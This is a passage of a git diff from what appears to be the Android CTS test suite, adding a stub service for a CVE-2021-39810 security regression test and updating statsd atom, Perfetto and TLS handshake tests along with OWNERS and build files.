+        <aid-filter android:name="325041592E5359532E4444463031" />
+    </aid-group>
+</host-apdu-service>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
new file mode 100644
index 0000000..e8e2085
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39810;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+}
diff --git a/hostsidetests/shortcuts/hostside/OWNERS b/hostsidetests/shortcuts/hostside/OWNERS
index 557370d..0dbf21f 100644
--- a/hostsidetests/shortcuts/hostside/OWNERS
+++ b/hostsidetests/shortcuts/hostside/OWNERS
@@ -1,3 +1,5 @@
 # Bug component: 166829
+pinyaoting@google.com
+sunnygoyal@google.com
 omakoto@google.com
 yamasani@google.com
diff --git a/hostsidetests/signedconfig/app/build_signedconfig_apk.mk b/hostsidetests/signedconfig/app/build_signedconfig_apk.mk
deleted file mode 100644
index a467eaa..0000000
--- a/hostsidetests/signedconfig/app/build_signedconfig_apk.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_APPS)
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index 1678870..8aed91ba 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -760,6 +760,7 @@
     }
 
     @Test
+    @LargeTest
     public void testApexInfoListAfterUpdate() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index 6f2da5f..8076b50 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
@@ -45,6 +45,7 @@
         "src/**/sizecompatrestartbutton/*.java",
         "src/**/statsd/*.java",
         "src/**/telephony/*.java",
+        "src/**/tls/*.java",
         "src/**/wifi/*.java",
         "src/**/incremental/*.java",
     ],
@@ -72,7 +73,11 @@
     data: [
         ":CtsStatsdAtomApp",
         ":CtsStatsdApp", //TODO(b/163546661): Remove once migration to new lib is complete.
-    ]
+        ":CtsAppExitTestCases",
+        ":CtsExternalServiceService",
+        ":CtsSimpleApp",
+    ],
+    per_testcase_directory: true,
 }
 
 java_library_host {
diff --git a/hostsidetests/statsdatom/apps/statsdapp/Android.bp b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
index 2cd2fa0..b225281 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
@@ -59,6 +59,7 @@
     ],
     privileged: true,
     static_libs: [
+        "core-tests-support",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
         "androidx.legacy_legacy-support-v4",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index 4eac939..2b1e5c4 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -29,6 +29,7 @@
 import android.app.PendingIntent;
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
+import android.app.usage.NetworkStatsManager;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.le.BluetoothLeScanner;
 import android.bluetooth.le.ScanCallback;
@@ -53,7 +54,6 @@
 import android.net.ConnectivityManager;
 import android.net.Network;
 import android.net.NetworkCapabilities;
-import android.net.NetworkInfo;
 import android.net.NetworkRequest;
 import android.net.cts.util.CtsNetUtils;
 import android.net.wifi.WifiManager;
@@ -64,6 +64,7 @@
 import android.os.Looper;
 import android.os.PowerManager;
 import android.os.Process;
+import android.os.RemoteException;
 import android.os.SystemClock;
 import android.os.VibrationEffect;
 import android.os.Vibrator;
@@ -79,7 +80,6 @@
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
-
 import org.junit.Assert;
 import org.junit.Test;
 
@@ -96,6 +96,11 @@
 import java.util.concurrent.TimeUnit;
 import java.util.function.BiConsumer;
 
+import javax.net.ssl.SSLSocket;
+
+import libcore.javax.net.ssl.TestSSLContext;
+import libcore.javax.net.ssl.TestSSLSocketPair;
+
 public class AtomTests {
     private static final String TAG = AtomTests.class.getSimpleName();
 
@@ -219,6 +224,23 @@
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION_SOURCE, 113);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_ADVERTISE, 114);
         APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_INCOMING_PHONE_AUDIO, 115);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEARBY_WIFI_DEVICES, 116);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ESTABLISH_VPN_SERVICE, 117);
+        APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ESTABLISH_VPN_MANAGER, 118);
+    }
+
+    @Test
+    public void testTlsHandshake() throws Exception {
+        TestSSLContext context = TestSSLContext.create();
+        SSLSocket[] sockets = TestSSLSocketPair.connect(context, null, null);
+
+        if (sockets.length < 2) {
+            return;
+        }
+        sockets[0].getOutputStream().write(42);
+        Assert.assertEquals(42, sockets[1].getInputStream().read());
+        sockets[0].close();
+        sockets[1].close();
     }
 
     @Test
@@ -677,8 +699,6 @@
         sleep(500);
         setScreenBrightness(100);
         sleep(500);
-        setScreenBrightness(140);
-        sleep(500);
 
 
         wl.release();
@@ -984,6 +1004,23 @@
         doGenerateNetworkTraffic(context, NetworkCapabilities.TRANSPORT_CELLULAR);
     }
 
+    /**
+     * Force poll NetworkStatsService to get most updated network stats from lower layer.
+     */
+    @Test
+    public void testForcePollNetworkStats() throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+        final NetworkStatsManager nsm = context.getSystemService(NetworkStatsManager.class);
+        try {
+            nsm.setPollForce(true);
+            // This query is for triggering force poll NetworkStatsService.
+            nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
+                    Long.MAX_VALUE);
+        } catch (RemoteException e) {
+            Log.e(TAG, "doPollNetworkStats failed with " + e);
+        }
+    }
+
     // Constants which are locally used by doGenerateNetworkTraffic.
     private static final int NETWORK_TIMEOUT_MILLIS = 15000;
     private static final String HTTPS_HOST_URL =
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS
index 08841c7..1c34727 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/gnss/OWNERS
@@ -1,2 +1,2 @@
 # Owners of the GnssStats atom
-kragtenb@google.com
+yuhany@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
index 1236598..3c4ed4f 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
@@ -1,2 +1,3 @@
-# Owners of the IntegrityCheckResultReported atom
-songpan@google.com
+# Bug component: 953234
+include platform/frameworks/base:/services/core/java/com/android/server/integrity/OWNERS
+
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
index 5671afb..23ffc03 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -69,7 +69,8 @@
                 .addAllowedLogSource("AID_SYSTEM")
                 .addAllowedLogSource("AID_BLUETOOTH")
                 // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
-                .addAllowedLogSource("com.android.bluetooth")
+                .addAllowedLogSource("com.android.bluetooth.services")
+                .addAllowedLogSource("com.google.android.bluetooth.services")
                 .addAllowedLogSource("AID_LMKD")
                 .addAllowedLogSource("AID_MEDIA")
                 .addAllowedLogSource("AID_RADIO")
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
index 10eec55..3c4fae6 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
@@ -374,6 +374,24 @@
         return device.executeShellCommand("getprop " + prop).replace("\n", "");
     }
 
+    public static String getDeviceConfigFeature(ITestDevice device, String namespace,
+            String key) throws Exception {
+        return device.executeShellCommand(
+                "device_config get " + namespace + " " + key).replace("\n", "");
+    }
+
+    public static String putDeviceConfigFeature(ITestDevice device, String namespace,
+            String key, String value) throws Exception {
+        return device.executeShellCommand(
+                "device_config put " + namespace + " " + key + " " + value).replace("\n", "");
+    }
+
+    public static String deleteDeviceConfigFeature(ITestDevice device, String namespace,
+            String key) throws Exception {
+        return device.executeShellCommand(
+                "device_config delete " + namespace + " " + key).replace("\n", "");
+    }
+
     public static boolean isDebuggable(ITestDevice device) throws Exception {
         return Integer.parseInt(getProperty(device, "ro.debuggable")) == 1;
     }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
index d41337b..88f583f 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -150,8 +150,9 @@
                 atomTimestamp.add(Pair.create(atomInfo.getAtom(), timestampNs));
             }
         }
-        atomTimestamp.sort(Comparator.comparing(o -> o.second));
-        return atomTimestamp.stream().map(p -> p.first).collect(Collectors.toList());
+        return atomTimestamp.stream()
+                .sorted(Comparator.comparing(o -> o.second))
+                .map(p -> p.first).collect(Collectors.toList());
     }
 
     /**
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java
index 632e280..36938fd 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java
@@ -86,7 +86,7 @@
             assertThat(state.getOomAdjScore()).isAtLeast(0);
             assertThat(state.getPageFault()).isAtLeast(0L);
             assertThat(state.getPageMajorFault()).isAtLeast(0L);
-            assertThat(state.getRssInBytes()).isGreaterThan(0L);
+            assertThat(state.getRssInBytes()).isAtLeast(0L);
             assertThat(state.getCacheInBytes()).isAtLeast(0L);
             assertThat(state.getSwapInBytes()).isAtLeast(0L);
         }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
index 089843a..a340700d4 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
@@ -65,20 +65,23 @@
         mCtsBuild = buildInfo;
     }
 
-    // TODO: inline the contents of doTestUsageBytesTransferEnable
     public void testDataUsageBytesTransfer() throws Throwable {
-        final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
+        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/
+                false, (atom) -> {
+                    final AtomsProto.DataUsageBytesTransfer data =
+                            atom.getDataUsageBytesTransfer();
+                    final boolean ratTypeGreaterThanUnknown =
+                            (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
 
-        doTestDataUsageBytesTransferEnabled(true);
-
-        // Remove old configs from disk and clear any pending statsd reports to clear history.
-        ConfigUtils.removeConfig(getDevice());
-        ReportUtils.clearReports(getDevice());
-
-        doTestDataUsageBytesTransferEnabled(false);
-
-        // Restore to original default value.
-        setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
+                    if (ratTypeGreaterThanUnknown) {
+                        // Assert that subscription info is valid.
+                        assertSubscriptionInfo(data);
+                        // DataUsageBytesTransferred atom does not report app uid.
+                        return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                                data.getRxPackets(), data.getTxPackets(), /*appUid=*/-1);
+                    }
+                    return null;
+                });
     }
 
     public void testMobileBytesTransfer() throws Throwable {
@@ -152,32 +155,6 @@
         TransferredBytes accept(S s) throws T;
     }
 
-    private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
-        // Set value to enable/disable combine subtype.
-        setNetworkStatsCombinedSubTypeEnabled(enable);
-
-        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/
-                false, (atom) -> {
-                    final AtomsProto.DataUsageBytesTransfer data =
-                            atom.getDataUsageBytesTransfer();
-                    final boolean ratTypeEqualsToUnknown =
-                            (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-                    final boolean ratTypeGreaterThanUnknown =
-                            (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-
-                    if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
-                            && ((enable && ratTypeEqualsToUnknown)
-                            || (!enable && ratTypeGreaterThanUnknown))) {
-                        // Assert that subscription info is valid.
-                        assertSubscriptionInfo(data);
-                        // DataUsageBytesTransferred atom does not report app uid.
-                        return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
-                                data.getRxPackets(), data.getTxPackets(), /*appUid=*/-1);
-                    }
-                    return null;
-                });
-    }
-
     private void doTestMobileBytesTransferThat(int atomId, boolean isUidAtom,
             ThrowingPredicate<Atom, Exception> p)
             throws Throwable {
@@ -197,10 +174,10 @@
                 "testGenerateMobileTraffic");
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
         // Force poll NetworkStatsService to get most updated network stats from lower layer.
-        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                "PollNetworkStatsActivity",
-                /*actionKey=*/null, /*actionValue=*/null);
+        DeviceUtils.runDeviceTests(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, ".AtomTests",
+                "testForcePollNetworkStats");
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
         // Trigger atom pull.
         AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
@@ -245,15 +222,4 @@
         assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
         assertThat(data.getCarrierId()).isNotEqualTo(-1); // TelephonyManager#UNKNOWN_CARRIER_ID
     }
-
-    private boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
-        final String output = getDevice().executeShellCommand(
-                "settings get global netstats_combine_subtype_enabled").trim();
-        return output.equals("1");
-    }
-
-    private void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
-        getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
-                + (enable ? "1" : "0"));
-    }
 }
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/PerfettoTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/PerfettoTests.java
index 22b2b49..6b2f95f 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/PerfettoTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/perfetto/PerfettoTests.java
@@ -36,6 +36,7 @@
 import com.android.os.AtomsProto.Atom;
 import com.android.os.AtomsProto.PerfettoTrigger;
 import com.android.os.AtomsProto.PerfettoUploaded;
+import com.android.os.AtomsProto.TracingServiceReportEvent;
 import com.android.os.StatsLog.EventMetricData;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -45,17 +46,18 @@
 
 import com.google.protobuf.ByteString;
 
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+import java.util.stream.Collectors;
+
 import perfetto.protos.PerfettoConfig.DataSourceConfig;
 import perfetto.protos.PerfettoConfig.FtraceConfig;
 import perfetto.protos.PerfettoConfig.TraceConfig;
 
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Random;
-
 public class PerfettoTests extends DeviceTestCase implements IBuildReceiver {
 
-    private static final int WAIT_AFTER_START_PERFETTO_MS = 2000;
+    private static final int WAIT_AFTER_START_PERFETTO_MS = 3000;
 
     // Config constants
     // These were chosen to match the statsd <-> Perfetto CTS integration
@@ -84,11 +86,11 @@
     public void setBuild(IBuildInfo buildInfo) {
     }
 
-    public void testPerfettoUploadedAtoms() throws Exception {
+    public void testPerfettoUploadedIncidentdAtoms() throws Exception {
         if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
         resetPerfettoGuardrails();
 
-        StatsdConfig.Builder config = getStatsdConfig();
+        StatsdConfig.Builder config = getStatsdConfig(getPerfettoIncidentConfig());
         ConfigUtils.addEventMetric(config, AtomsProto.Atom.PERFETTO_UPLOADED_FIELD_NUMBER);
         ConfigUtils.uploadConfig(getDevice(), config);
 
@@ -106,6 +108,49 @@
                         PerfettoUploaded.Event.PERFETTO_TRACED_START_TRACING);
     }
 
+    public void testSkipReportAtoms() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+        resetPerfettoGuardrails();
+
+        StatsdConfig.Builder config = getStatsdConfig(getPerfettoReportConfig(true));
+        ConfigUtils.addEventMetric(config, AtomsProto.Atom.PERFETTO_UPLOADED_FIELD_NUMBER);
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        startPerfettoTrace();
+        Thread.sleep(WAIT_AFTER_START_PERFETTO_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(extractPerfettoUploadedEvents(data))
+                .containsAtLeast(
+                        PerfettoUploaded.Event.PERFETTO_TRACE_BEGIN,
+                        PerfettoUploaded.Event.PERFETTO_ON_CONNECT,
+                        PerfettoUploaded.Event.PERFETTO_TRACED_ENABLE_TRACING,
+                        PerfettoUploaded.Event.PERFETTO_TRACED_START_TRACING);
+    }
+
+    public void testReportAtoms() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
+        resetPerfettoGuardrails();
+
+        StatsdConfig.Builder config = getStatsdConfig(getPerfettoReportConfig(false));
+        ConfigUtils.addEventMetric(config, AtomsProto.Atom.PERFETTO_UPLOADED_FIELD_NUMBER);
+        ConfigUtils.addEventMetric(config, Atom.TRACING_SERVICE_REPORT_EVENT_FIELD_NUMBER);
+        ConfigUtils.uploadConfig(getDevice(), config);
+
+        startPerfettoTrace();
+        Thread.sleep(WAIT_AFTER_START_PERFETTO_MS);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(extractPerfettoUploadedEvents(data))
+                .containsAtLeast(
+                        PerfettoUploaded.Event.PERFETTO_CMD_FW_REPORT_BEGIN,
+                        PerfettoUploaded.Event.PERFETTO_CMD_FW_REPORT_HANDOFF);
+        assertThat(extractReportEvents(data))
+                .containsExactly(
+                        TracingServiceReportEvent.Event.TRACING_SERVICE_REPORT_BEGIN,
+                        TracingServiceReportEvent.Event.TRACING_SERVICE_REPORT_BIND_PERM_INCORRECT);
+    }
+
     public void testPerfettoTriggerAtoms() throws Exception {
         if (DeviceUtils.hasFeature(getDevice(), DeviceUtils.FEATURE_WATCH)) return;
 
@@ -123,11 +168,31 @@
                         PerfettoTrigger.Event.PERFETTO_TRIGGER_PERFETTO_TRIGGER);
     }
 
-    /**
-     * Returns a protobuf-encoded perfetto config that enables the kernel ftrace tracer with
-     * sched_switch for 10 seconds.
-     */
-    private ByteString getPerfettoConfig() {
+    private ByteString getPerfettoIncidentConfig() {
+        TraceConfig.IncidentReportConfig incident =
+                TraceConfig.IncidentReportConfig.newBuilder()
+                        .setSkipIncidentd(true)
+                        .build();
+        return getBasePerfettoConfigBuilder()
+                .setIncidentReportConfig(incident)
+                .build()
+                .toByteString();
+    }
+
+    private ByteString getPerfettoReportConfig(boolean skipReport) {
+        TraceConfig.AndroidReportConfig config = TraceConfig.AndroidReportConfig.newBuilder()
+                .setSkipReport(skipReport)
+                .setReporterServicePackage("android.cts")
+                .setReporterServiceClass("android.cts.class")
+                .setUsePipeInFrameworkForTesting(true)
+                .build();
+        return getBasePerfettoConfigBuilder()
+                .setAndroidReportConfig(config)
+                .build()
+                .toByteString();
+    }
+
+    private TraceConfig.Builder getBasePerfettoConfigBuilder() {
         TraceConfig.Builder builder = TraceConfig.newBuilder();
 
         TraceConfig.BufferConfig buffer =
@@ -146,15 +211,9 @@
                 TraceConfig.DataSource.newBuilder().setConfig(dataSourceConfig).build();
         builder.addDataSources(dataSource);
 
-        builder.setDurationMs(3000);
+        builder.setDurationMs(500);
         builder.setAllowUserBuildTracing(true);
 
-        TraceConfig.IncidentReportConfig incident =
-                TraceConfig.IncidentReportConfig.newBuilder()
-                        .setSkipIncidentd(true)
-                        .build();
-        builder.setIncidentReportConfig(incident);
-
         // To avoid being hit with guardrails firing in multiple test runs back
         // to back, we set a unique session key for each config.
         Random random = new Random();
@@ -162,14 +221,16 @@
         sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
         builder.setUniqueSessionName(sessionNameBuilder.toString());
 
-        return builder.build().toByteString();
+        return builder;
     }
 
     private List<PerfettoUploaded.Event> extractPerfettoUploadedEvents(
             List<EventMetricData> input) {
         List<PerfettoUploaded.Event> output = new ArrayList<>();
         for (EventMetricData data : input) {
-            output.add(data.getAtom().getPerfettoUploaded().getEvent());
+            if (data.getAtom().hasPerfettoUploaded()) {
+                output.add(data.getAtom().getPerfettoUploaded().getEvent());
+            }
         }
         return output;
     }
@@ -178,7 +239,20 @@
             List<EventMetricData> input) {
         List<PerfettoTrigger.Event> output = new ArrayList<>();
         for (EventMetricData data : input) {
-            output.add(data.getAtom().getPerfettoTrigger().getEvent());
+            if (data.getAtom().hasPerfettoTrigger()) {
+                output.add(data.getAtom().getPerfettoTrigger().getEvent());
+            }
+        }
+        return output;
+    }
+
+    private List<TracingServiceReportEvent.Event> extractReportEvents(
+            List<EventMetricData> input) {
+        List<TracingServiceReportEvent.Event> output = new ArrayList<>();
+        for (EventMetricData data : input) {
+            if (data.getAtom().hasTracingServiceReportEvent()) {
+                output.add(data.getAtom().getTracingServiceReportEvent().getEvent());
+            }
         }
         return output;
     }
@@ -190,11 +264,12 @@
     private void runTriggerPerfetto() throws Exception {
         final String cmd = "trigger_perfetto cts.test.trigger";
         CommandResult cr = getDevice().executeShellV2Command(cmd);
-        if (cr.getStatus() != CommandStatus.SUCCESS)
+        if (cr.getStatus() != CommandStatus.SUCCESS) {
             throw new Exception(
                     String.format(
                             "Error while executing %s: %s %s",
                             cmd, cr.getStdout(), cr.getStderr()));
+        }
     }
 
     /**
@@ -204,11 +279,12 @@
     private void resetPerfettoGuardrails() throws Exception {
         final String cmd = "perfetto --reset-guardrails";
         CommandResult cr = getDevice().executeShellV2Command(cmd);
-        if (cr.getStatus() != CommandStatus.SUCCESS)
+        if (cr.getStatus() != CommandStatus.SUCCESS) {
             throw new Exception(
                     String.format(
                             "Error while executing %s: %s %s",
                             cmd, cr.getStdout(), cr.getStderr()));
+        }
     }
 
     private void startPerfettoTrace() throws Exception {
@@ -219,7 +295,7 @@
                                 1, AppBreadcrumbReported.State.START.ordinal()));
     }
 
-    private final StatsdConfig.Builder getStatsdConfig() throws Exception {
+    private final StatsdConfig.Builder getStatsdConfig(ByteString config) throws Exception {
         return ConfigUtils.createConfigBuilder("AID_NOBODY")
                 .addSubscription(
                         Subscription.newBuilder()
@@ -228,7 +304,7 @@
                                 .setRuleId(ALERT_ID)
                                 .setPerfettoDetails(
                                         PerfettoDetails.newBuilder()
-                                                .setTraceConfig(getPerfettoConfig())))
+                                                .setTraceConfig(config)))
                 .addValueMetric(
                         ValueMetric.newBuilder()
                                 .setId(METRIC_ID)
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 0a00c67..9a03125 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -637,11 +637,9 @@
 
         Set<Integer> screenMin = new HashSet<>(Arrays.asList(47));
         Set<Integer> screen100 = new HashSet<>(Arrays.asList(100));
-        Set<Integer> screen140 = new HashSet<>(Arrays.asList(140));
-        // Set<Integer> screenMax = new HashSet<>(Arrays.asList(255));
 
         // Add state sets to the list in order.
-        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100, screen140);
+        List<Set<Integer>> stateSet = Arrays.asList(screenMin, screen100);
 
         ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
                 atomTag);
@@ -656,7 +654,7 @@
 
         AtomTestUtils.popUntilFind(data, screenMin,
                 atom -> atom.getScreenBrightnessChanged().getLevel());
-        AtomTestUtils.popUntilFindFromEnd(data, screen140,
+        AtomTestUtils.popUntilFindFromEnd(data, screen100,
                 atom -> atom.getScreenBrightnessChanged().getLevel());
         // Assert that the events happened in the expected order.
         AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java
new file mode 100644
index 0000000..eee4dac
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.tls;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class TlsHandshakeStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
